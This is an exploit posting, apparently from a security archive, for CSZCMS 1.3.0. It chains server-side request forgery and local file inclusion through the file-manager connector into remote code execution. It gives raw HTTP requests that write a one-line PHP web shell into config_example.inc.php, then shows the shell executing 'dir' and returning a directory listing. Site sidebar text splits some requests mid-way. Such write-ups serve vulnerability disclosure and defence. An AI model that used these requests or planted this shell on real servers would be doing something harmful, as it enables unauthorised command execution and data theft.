CSZCMS 1.3.0 SSRF / LFI / Remote Code Execution

Authored by Hejap Zairy

Posted Apr 7, 2022

CSZCMS version 1.3.0 server-side request forgery exploit that leverages local file inclusion to inject a remote shell.

tags | exploit, remote, shell, local, file inclusion

SHA-256 | 076778f725ea205cb5e59b34e6f765677401b4867ef7f2cfb8b18d6f76bd956a Download | Favorite | View

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Title:  CSZCMS V1.3.0 - SSRF To LFI To Rce
# Author: Hejap Zairy
# Date: 07.04.2022
# Vendor: https://sourceforge.net/projects/cszcms/files/install/
# Software: https://liquidtelecom.dl.sourceforge.net/project/cszcms/install/CSZCMS-V1.3.0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache


# 1 - step inject ssrf
# 2 - inject SSRF to  LFI
# 3 - Inject SSRF to LFI to RCE put webshell config

#vulnerability Code  php
Needs more filtering commands


```
protected static $base64encodeSessionData = false;
protected $commands = array(
        'abort' => array('id' => true),
        'archive' => array('targets' => true, 'type' => true, 'mimes' => false, 'name' => false),
        'callback' => array('node' => true, 'json' => false, 'bind' => false, 'done' => false),
        'chmod' => array('targets' => true, 'mode' => true),
        'dim' => array('target' => true, 'substitute' => false),
        'duplicate' => array('targets' => true, 'suffix' => false),
        'editor' => array('name' => true, 'method' => true, 'args' => false),
        'extract' => array('target' => true, 'mimes' => false, 'makedir' => false),
        'file' => array('target' => true, 'download' => false, 'cpath' => false, 'onetime' => false),
        'get' => array('target' => true, 'conv' => false),
        'info' => array('targets' => true, 'compare' => false),
        'ls' => array('target' => true, 'mimes' => false, 'intersect' => false),
        'mkdir' => array('target' => true, 'name' => false, 'dirs' => false),
        'mkfile' => array('target' => true, 'name' => true, 'mimes' => false),
        'netmount' => array('protocol' => true, 'host' => true, 'path' => false, 'port' => false, 'user' =>
false, 'pass' => false, 'alias' => false, 'options' => false),
        'open' => array('target' => false, 'tree' => false, 'init' => false, 'mimes' => false, 'compare' =>
false),
        'parents' => array('target' => true, 'until' => false),
        'paste' => array('dst' => true, 'targets' => true, 'cut' => false, 'mimes' => false, 'renames' =>
false, 'hashes' => false, 'suffix' => false),
        'put' => array('target' => true, 'content' => '', 'mimes' => false, 'encoding' => false),
        'rename' => array('target' => true, 'name' => true, 'mimes' => false, 'targets' => false, 'q' =>
false),
        'resize' => array('target' => true, 'width' => false, 'height' => false, 'mode' => false, 'x' => false,
'y' => false, 'degree' => false, 'quality' => false, 'bg' => false),
        'rm' => array('targets' => true),
        'search' => array('q' => true, 'mimes' => false, 'target' => false, 'type' => false),
        'size' => array('targets' => true),
        'subdirs' => array('targets' => true),
        'tmb' => array('targets' => true),
        'tree' => array('target' => true),
        'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' =>
false, 'name' => false, 'upload_path' => false, 'chunk' => false, 'cid' => false, 'node' => false, 'renames' =>
false, 'hashes' => false, 'suffix' => false, 'mtime' => false, 'overwrite' => false, 'contentSaveId' => false),
        'url' => array('target' => true, 'options' => false),
        'zipdl' => array('targets' => true, 'download' => false)
    );
```

[+] Payload GET

#l1_MGRheS5waHA= base64 decode 0day.php
#l3_Y3N6ZGVmYXVsdC9tYWluLnBocA base64 decode main.php


```
GET /cms/index.php/admin/filemanager/connector/?
cmd=get&targets=http://127.0.0.1/cms/index.php/admin/filemanager/connector/?cmd=file&target=l1_MGRheS5waHA=
HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
```


File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files
Ubuntu 52 files
Gentoo 44 files
Debian 27 files
Apple 25 files
Google Security Research 14 files
malvuln 10 files
nu11secur1ty 6 files
mjurczyk 4 files
George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)
```

````
Chrome/99.0.4844.74 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: ar,en-US;q=0.9,en;q=0.8
Cookie: 9b9c96f47e485bdc8e5ec52af52e4f21_cszsess=h0nht0te0u73bbvu8e12lt2bmvfbepfn
Connection: close


```



#Status: CRITICAL

#Response
```
{"content":"data:image\/png;base64,PD89YCRfR0VUWzUxNV1gPz4NCg=="}
# <?=`$_GET[515]`?> decode base64

```





# Requests
```
POST /cms/admin/filemanager/connector/ HTTP/1.1
Host: 127.0.0.1
Content-Length: 128
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/99.0.4844.74 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/cms/admin/filemanager
Accept-Encoding: gzip, deflate
Accept-Language: ar,en-US;q=0.9,en;q=0.8
Cookie: 9b9c96f47e485bdc8e5ec52af52e4f21_cszsess=pb61pkn5tmjqcl4h5ev9r69q8vbubqed
Connection: close

cmd=put&target=l6_Y29uZmlnX2V4YW1wbGUuaW5jLnBocA&encoding=UTF-
8&content=%3C%3F%3D%60%24_GET%5B515%5D%60%3F%3E&reqid=18002b807a32
```






#Response

```
HTTP/1.1 200 OK
Date: Thu, 07 Apr 2022 06:31:19 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: max-age=3600, must-revalidate
Pragma: no-cache
Set-Cookie: 9b9c96f47e485bdc8e5ec52af52e4f21_cszsess=pb61pkn5tmjqcl4h5ev9r69q8vbubqed; expires=Thu, 07-Apr-2022
18:31:19 GMT; Max-Age=43200; path=/; domain=127.0.0.1; HttpOnly
Set-Cookie: 9b9c96f47e485bdc8e5ec52af52e4f21_cszsess=pb61pkn5tmjqcl4h5ev9r69q8vbubqed; path=/;
domain=127.0.0.1; HttpOnly
Set-Cookie: 9b9c96f47e485bdc8e5ec52af52e4f21_cszsess=pb61pkn5tmjqcl4h5ev9r69q8vbubqed; expires=Thu, 07-Apr-2022
18:31:19 GMT; Max-Age=43200; path=/; domain=127.0.0.1; HttpOnly
Set-Cookie: 9b9c96f47e485bdc8e5ec52af52e4f21_cszsess=pb61pkn5tmjqcl4h5ev9r69q8vbubqed; expires=Thu, 07-Apr-2022
18:31:19 GMT; Max-Age=43200; path=/; domain=127.0.0.1; HttpOnly
Set-Cookie: 9b9c96f47e485bdc8e5ec52af52e4f21_cszsess=pb61pkn5tmjqcl4h5ev9r69q8vbubqed; expires=Thu, 07-Apr-2022
18:31:19 GMT; Max-Age=43200; path=/; domain=127.0.0.1; HttpOnly
Set-Cookie: 9b9c96f47e485bdc8e5ec52af52e4f21_cszsess=pb61pkn5tmjqcl4h5ev9r69q8vbubqed; expires=Thu, 07-Apr-2022
18:31:19 GMT; Max-Age=43200; path=/; domain=127.0.0.1; HttpOnly
Set-Cookie: 9b9c96f47e485bdc8e5ec52af52e4f21_cszsess=pb61pkn5tmjqcl4h5ev9r69q8vbubqed; expires=Thu, 07-Apr-2022
18:31:19 GMT; Max-Age=43200; path=/; domain=127.0.0.1; HttpOnly
Set-Cookie: 9b9c96f47e485bdc8e5ec52af52e4f21_cszsess=pb61pkn5tmjqcl4h5ev9r69q8vbubqed; expires=Thu, 07-Apr-2022
18:31:19 GMT; Max-Age=43200; path=/; domain=127.0.0.1; HttpOnly
Set-Cookie: 9b9c96f47e485bdc8e5ec52af52e4f21_cszsess=pb61pkn5tmjqcl4h5ev9r69q8vbubqed; expires=Thu, 07-Apr-2022
18:31:19 GMT; Max-Age=43200; path=/; domain=127.0.0.1; HttpOnly
Content-Length: 190
Connection: keep-alive, close
Content-Type: application/json; charset=utf-8

{"changed":[{"isowner":false,"ts":1649313079,"mime":"text\/x-
php","read":1,"write":1,"size":"17","hash":"l6_Y29uZmlnX2V4YW1wbGUuaW5jLnBocA","name":"config_example.inc.php","
```






#webshell

```
GET /cms/config_example.inc.php?515=dir HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
````


Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other

```
Chrome/99.0.4844.74 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: ar,en-US;q=0.9,en;q=0.8
Cookie: 9b9c96f47e485bdc8e5ec52af52e4f21_cszsess=pb61pkn5tmjqcl4h5ev9r69q8vbubqed
Connection: close


```


#response

```
HTTP/1.1 200 OK
Date: Thu, 07 Apr 2022 06:37:33 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.27
Connection: keep-alive, close
Cache-Control: max-age=3600, must-revalidate
Content-Length: 1917
Content-Type: text/html; charset=UTF-8

 Volume in drive C is OS
 Volume Serial Number is 2EF1-9DCA

 Directory of C:\xampp\htdocs\cms

04/07/2022  09:13 AM    <DIR>          .
04/07/2022  02:23 AM    <DIR>          ..
04/30/2019  05:29 PM             8,444 .htaccess
04/07/2022  09:13 AM    <DIR>          .quarantine
04/07/2022  09:13 AM    <DIR>          .tmb
04/07/2022  07:07 AM                 8 127.0.0.1_csv_banner_mgt_20220407.csv
04/07/2022  07:14 AM             5,362 127.0.0.1_files_20220407.zip
04/07/2022  07:14 AM            54,888 127.0.0.1_photo_20220407.zip
04/07/2022  06:57 AM    <DIR>          assets
04/09/2018  03:34 PM               479 cache.config.inc.php
11/29/2021  07:40 AM             4,733 CHANGELOG
04/07/2022  06:55 AM               696 config.inc.php
04/07/2022  09:37 AM                17 config_example.inc.php
08/07/2018  05:18 AM             4,075 CONTRIBUTING.md
04/21/2021  07:01 AM           151,259 corecss.css
04/21/2021  07:01 AM           378,086 corejs.js
04/07/2022  06:57 AM    <DIR>          cszcms
06/28/2019  09:04 PM               166 devtoolsbar.config.inc.php
04/07/2022  06:55 AM               690 env.config.inc.php
04/07/2022  06:55 AM               269 htaccess.config.inc.php
06/28/2019  02:48 PM            11,526 index.php
04/07/2022  06:57 AM    <DIR>          install
01/28/2020  06:40 AM             3,439 LICENSE.md
04/09/2018  03:35 PM               336 memcached.config.inc.php
04/09/2018  03:34 PM             1,297 nginx_example.com.conf
04/07/2022  09:13 AM    <DIR>          photo
04/09/2021  09:52 AM             1,744 proxy.inc.php
11/11/2021  07:48 AM             1,868 README.md
04/09/2018  03:35 PM               496 redis.config.inc.php
11/11/2021  07:46 AM               520 SECURITY.md
04/07/2022  06:57 AM    <DIR>          system
04/07/2022  09:13 AM    <DIR>          templates
              22 File(s)        630,398 bytes
              10 Dir(s)  80,676,995,072 bytes free

```

Description:
 the attacker might cause the server to make a connection to internal-only services within the organization's infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems, potentially leaking sensitive data such as authorization credentials
to Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server or execution file If converted rce

Proof and Exploit:
https://i.imgur.com/pzWjkXI.png
https://i.imgur.com/xxjxnGk.png
https://i.imgur.com/S1F7MaJ.png
https://i.imgur.com/BwWTfYU.png

packet storm

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed